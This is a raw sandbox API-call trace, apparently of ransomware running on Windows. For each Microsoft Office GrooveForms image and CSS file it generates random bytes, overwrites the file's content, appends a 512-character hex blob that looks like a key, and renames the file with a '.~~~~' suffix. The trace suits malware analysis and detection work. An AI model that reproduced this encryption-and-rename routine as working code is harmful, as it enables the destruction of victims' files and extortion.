	[0133.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0133.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0133.149] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25313931035) returned 1
	[0133.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8cdd810, dwHighDateTime=0x1d60e1e)) 
	[0133.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0133.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0133.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x2901380
	[0133.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280a1e0
	[0133.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280a1e0 | out: hHeap=0x300000) returned 1
	[0133.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.150] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.150] GetLastError () returned 0x0
	[0133.150] GetLastError () returned 0x0
	[0133.150] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.151] GetLastError () returned 0x0
	[0133.151] GetLastError () returned 0x0
	[0133.154] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff9cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.154] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x634, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x634, lpOverlapped=0x0) returned 1
	[0133.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.156] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.156] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.156] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.156] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.156] CloseHandle (hObject=0x114) returned 1
	[0133.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0de8
	[0133.157] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Main.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\main.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Main.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\main.gif.~~~~")) returned 1
	[0133.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0de8 | out: hHeap=0x300000) returned 1
	[0133.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2901380 | out: hHeap=0x300000) returned 1
	[0133.158] GetLastError () returned 0x0
	[0133.159] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.160] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0133.160] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0133.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0133.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0133.160] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25315125297) returned 1
	[0133.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8d03970, dwHighDateTime=0x1d60e1e)) 
	[0133.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0133.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0133.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x2901380
	[0133.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280a1a8
	[0133.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280a1a8 | out: hHeap=0x300000) returned 1
	[0133.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.162] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.162] GetLastError () returned 0x0
	[0133.162] GetLastError () returned 0x0
	[0133.163] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.163] GetLastError () returned 0x0
	[0133.163] GetLastError () returned 0x0
	[0133.165] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff696, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.165] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x96a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x96a, lpOverlapped=0x0) returned 1
	[0133.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.167] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.167] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.167] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.167] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.167] CloseHandle (hObject=0x114) returned 1
	[0133.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x29d6f00
	[0133.168] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Person.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\person.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Person.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\person.gif.~~~~")) returned 1
	[0133.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d6f00 | out: hHeap=0x300000) returned 1
	[0133.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2901380 | out: hHeap=0x300000) returned 1
	[0133.169] GetLastError () returned 0x0
	[0133.170] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.171] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0133.171] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0133.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0133.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0133.171] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25316156950) returned 1
	[0133.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8d29ad0, dwHighDateTime=0x1d60e1e)) 
	[0133.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0133.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0133.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x2901380
	[0133.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280a170
	[0133.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280a170 | out: hHeap=0x300000) returned 1
	[0133.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.172] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.172] GetLastError () returned 0x0
	[0133.173] GetLastError () returned 0x0
	[0133.173] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.173] GetLastError () returned 0x0
	[0133.173] GetLastError () returned 0x0
	[0133.175] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff972, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.175] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x68e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x68e, lpOverlapped=0x0) returned 1
	[0133.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.177] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.177] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.177] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.177] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.177] CloseHandle (hObject=0x114) returned 1
	[0133.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x29e1838
	[0133.178] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Response.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\response.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Response.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\response.gif.~~~~")) returned 1
	[0133.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e1838 | out: hHeap=0x300000) returned 1
	[0133.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2901380 | out: hHeap=0x300000) returned 1
	[0133.179] GetLastError () returned 0x0
	[0133.180] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.182] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0133.182] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0133.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0133.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0133.182] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25317198563) returned 1
	[0133.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8d29ad0, dwHighDateTime=0x1d60e1e)) 
	[0133.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0133.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0133.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x2901380
	[0133.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280a100
	[0133.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280a100 | out: hHeap=0x300000) returned 1
	[0133.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.183] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.183] GetLastError () returned 0x0
	[0133.183] GetLastError () returned 0x0
	[0133.183] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.183] GetLastError () returned 0x0
	[0133.183] GetLastError () returned 0x0
	[0133.256] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffe634, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.256] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19cc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x19cc, lpOverlapped=0x0) returned 1
	[0133.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.262] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.262] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.262] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.262] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.263] CloseHandle (hObject=0x114) returned 1
	[0133.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2802a78
	[0133.263] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions.css.~~~~")) returned 1
	[0133.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2802a78 | out: hHeap=0x300000) returned 1
	[0133.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2901380 | out: hHeap=0x300000) returned 1
	[0133.265] GetLastError () returned 0x0
	[0133.266] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.267] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.267] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0133.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0133.267] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25325724196) returned 1
	[0133.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8e0e310, dwHighDateTime=0x1d60e1e)) 
	[0133.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0133.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0133.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x2901380
	[0133.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809fe8
	[0133.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809fe8 | out: hHeap=0x300000) returned 1
	[0133.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.268] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.268] GetLastError () returned 0x0
	[0133.268] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.268] GetLastError () returned 0x0
	[0133.272] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff2ff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.272] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xd01, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xd01, lpOverlapped=0x0) returned 1
	[0133.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.275] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.275] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.275] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.275] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.275] CloseHandle (hObject=0x114) returned 1
	[0133.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x28a72a0
	[0133.276] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen.css.~~~~")) returned 1
	[0133.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a72a0 | out: hHeap=0x300000) returned 1
